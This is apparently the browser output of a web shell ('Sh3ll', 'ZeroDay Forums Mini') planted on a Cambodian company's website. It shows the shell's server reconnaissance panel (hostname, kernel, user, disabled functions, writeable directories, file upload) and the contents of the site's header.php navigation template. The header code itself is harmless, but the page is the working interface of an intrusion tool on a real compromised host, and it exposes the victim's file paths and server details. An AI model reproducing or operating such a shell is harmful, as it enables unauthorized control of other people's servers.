Sh3ll
OdayForums


Server : Apache
System : Linux server1.cgrithy.com 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : nobody ( 99)
PHP Version : 8.1.23
Disable Function : NONE
Directory :  /home/dnlcambodia/public_html/Khmer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/dnlcambodia/public_html/Khmer/hearder.php
<?php
function isCurrentPage($page)
{
    $currentPage = basename($_SERVER['PHP_SELF']);
    if ($currentPage === $page) {
        return 'active';
    }
    return '';
}
?>
<style>
    /* Style for dropdown toggle */
    .dropdown-active {
        cursor: pointer;
        padding: 0.5rem;
        border-radius: 0.375rem;
        transition: background-color 0.3s ease;
    }

    .dropdown-active:hover {
        background-color: #f8f9fa;
        /* Change to desired hover background color */
    }

    /* Style for dropdown menu */
    .dropdown-menu {
        min-width: 7rem;
        padding: 0;
        border: 1px solid rgba(0, 0, 0, 0.1);
        border-radius: 0.375rem;
        box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);
    }

    /* Style for dropdown items */
    .dropdown-item {
        padding: 0.5rem 1rem;
        font-size: 0.875rem;
        color: #212529;
        /* Default text color */
        transition: background-color 0.3s ease;
    }

    .dropdown-item:hover {
        background-color: #f8f9fa;
        /* Change to desired hover background color */
    }
</style>
<header id="ft-header" class="ft-header-section header-style-one" style="background:#fff;">
    <div class="ft-header-content-wrapper position-relative">
        <div class="container">
            <div class="ft-header-content position-relative">
                <div class="ft-brand-logo">
                    <a href="#"><img src="assets/img/logo/logo3.png" alt=""></a>
                </div>
                <div class="ft-header-menu-top-cta position-relative">
                    <div class="ft-header-top ul-li ">
                        <ul>

                            <li><i class="fal fa-map-marker-alt"></i>អគារលេខ 809 (ជាន់ទី 8), C7 Fortune Tower, Olympia City, ផ្លូវ 182 កែង 161, សង្កាត់ វាលវង់, ខណ្ឌ ៧មករា, រាជធានីភ្នំពេញ, កម្ពុជា</li>

                        </ul>
                    </div>
                    <div class="ft-header-main-menu d-flex justify-content-center align-items-center">
                        <nav class="ft-main-navigation clearfix ul-li">
                        <ul id="ft-main-nav" class="nav navbar-nav clearfix" style="margin-right:20px;">
                                <li class="<?php echo isCurrentPage('index.php'); ?>"><a href="./" style="color:<?php echo isCurrentPage('index.php') === 'active' ? '#ea1e00' : '#00570E'; ?>">ទំព័រដើម</a></li>
                                <li class="<?php echo isCurrentPage('about.php'); ?>"><a href="about" style="color:<?php echo isCurrentPage('about.php') === 'active' ? 'red' : '#00570E'; ?>">អំពីក្រុមហ៊ុន</a></li>
                                <li class="<?php echo isCurrentPage('service.php'); ?>"><a href="service" style="color:<?php echo isCurrentPage('service.php') === 'active' ? 'red' : '#00570E'; ?>">សេវាកម្ម</a></li>
                                <li class="<?php echo isCurrentPage('activities.php'); ?>"><a href="activities" style="color:<?php echo isCurrentPage('activities.php') === 'active' ? 'red' : '#00570E'; ?>">គម្រោង</a></li>
                                <li class="<?php echo isCurrentPage('news.php'); ?>"><a href="news" style="color:<?php echo isCurrentPage('news.php') === 'active' ? 'red' : '#00570E'; ?>">ព័ត៌មាន</a></li>
                                <li class="dropdown">
                                    <a href="faq.php" style="color:<?php echo isCurrentPage('faq.php') === 'active' ? 'red' : '#00570E'; ?>">ផ្សេងៗ</a>
                                </li>
                            </ul>
                        </nav>
                        <div class="ft-header-cta-btn" >
                            <a class="d-flex justify-content-center align-items-center" href="contact.php" style="background:#00570E; color:#fff;  ">Get A Quote</a>
                        </div>
                        <div class="dropdown" style="margin-right: 60px;">
                            <button class="btn dropdown-toggle" type="button" id="dropdownLanguage" data-bs-toggle="dropdown" aria-expanded="false">
                                <img src="./assets/flag/Khmer-Flag.png" alt="ខ្មែរ" ​ style="width:45px;">
                                ខ្មែរ
                            </button>
                            <ul class="dropdown-menu" aria-labelledby="dropdownLanguage">
                                <li><a class="dropdown-item" href="../">
                                        <img src="./assets/flag/English-Flag.png" alt="Eng" style="width:43px;">Eng
                                    </a></li>
                            </ul>
                        </div>


                    </div>

                </div>
                <div class="mobile_menu position-relative">
                    <div class="mobile_menu_button open_mobile_menu" ​style="color:#00570E;">
                        <i class="fal fa-bars"></i>
                    </div>
                    <div class="mobile_menu_wrap">
                        <div class="mobile_menu_overlay open_mobile_menu"></div>
                        <div class="mobile_menu_content">
                            <div class="mobile_menu_close open_mobile_menu">
                                <i class="fal fa-times"></i>
                            </div>
                            <div class="m-brand-logo">
                                <a href="!#"><img src="assets/img/logo/logo3.png" alt=""></a>
                            </div>
                            <nav class="mobile-main-navigation  clearfix ul-li">
                                <ul id="m-main-nav" class="navbar-nav text-capitalize clearfix">
                                    <li><a href="index.php">ទំព័រដើម</a></li>
                                    <li><a href="about.php">អំពីក្រុមហ៊ុន</a></li>
                                    <li><a href="service.php">សេវាកម្ម</a></li>
                                    <li><a href="activities.php">គម្រោង</a></li>
                                    <li><a href="blog.php">ព័ត៌មាន</a></li>
                                    <li><a href="faq.php">ផ្សេងៗ</a></li>
                                </ul>
                            </nav>
                        </div>
                    </div>
                    <!-- /Mobile-Menu -->
                </div>
            </div>
        </div>

        <div class="ft-header-cta-info" style="font-size: medium;">



            <div class="ft-header-cta-text headline d-flex  pera-content" style="color:#00570E;">
                <div class="ft-header-cta-icon d-flex justify-content-center align-items-center" style="background:#00570E;">
                    <i class="flaticon-call"></i>
                </div>
                <div>
                    <p>ទំនាក់ទំនង</p>
                    <h3>+855 23 885 335</h3>
                </div>

            </div>

        </div>

    </div>
</header>

ZeroDay Forums Mini